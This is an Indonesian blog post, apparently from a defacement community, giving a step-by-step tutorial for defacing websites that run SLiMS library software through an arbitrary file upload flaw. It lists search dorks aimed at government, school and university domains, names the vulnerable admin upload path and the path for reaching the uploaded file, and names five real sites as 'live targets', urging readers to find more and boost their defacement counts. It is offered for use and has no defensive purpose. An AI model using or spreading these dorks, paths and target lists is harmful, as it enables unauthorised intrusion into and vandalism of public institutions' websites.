Deface POC Slims Arbitary File Upload

(Deface cocok untuk pemula,dan push mirror bintang)




Poc ini cukup menarik dan bagi anda yang tidak suka deface warna-warni kaya anak TK boleh nih pake poc ini.Seperti biasa,kita siapkan bahan-bahan terlebih dahulu.

Bahan- bahan

• Dork:
inurl''/index.php?select_lang='' site:sch.id
inurl:''index.php?p=show_detail&id=''
Powered by SLiMS site:id
intext:Powered By SLIMS site:go.id
• script deface ext : .txt
• internet
• apk Browser
• Exploit: /admin/modules/bibliography/pop_attach.php
• Exploit akses: /repository/script anda
• Live target?
http://pustaka.pa-sengeti.go.id
http://pustaka1.unindra.id
https://library.institutpendidikan.ac.id
https://perpustakaan.poltektegal.ac.id
http://pn-tapaktuan.go.id/pustaka

(Cari sendiri,masih banyak,mayan lah buat push mirror:v)


Tutorial:

1. Dorking


2. Berhubung saya ada live target jadi gassken
[Isi judul,deskripsi terserah]


3. Jika sudah upload kalian tinggal tambahkan exploit /repository/nama sc anda

Dan boom web nya berhasil terdeface..
Sekian tutor dari saya,wassalamualaikum..

Tidak ada komentar untuk "Deface POC Slims Arbitary File Upload"

Berlangganan via Email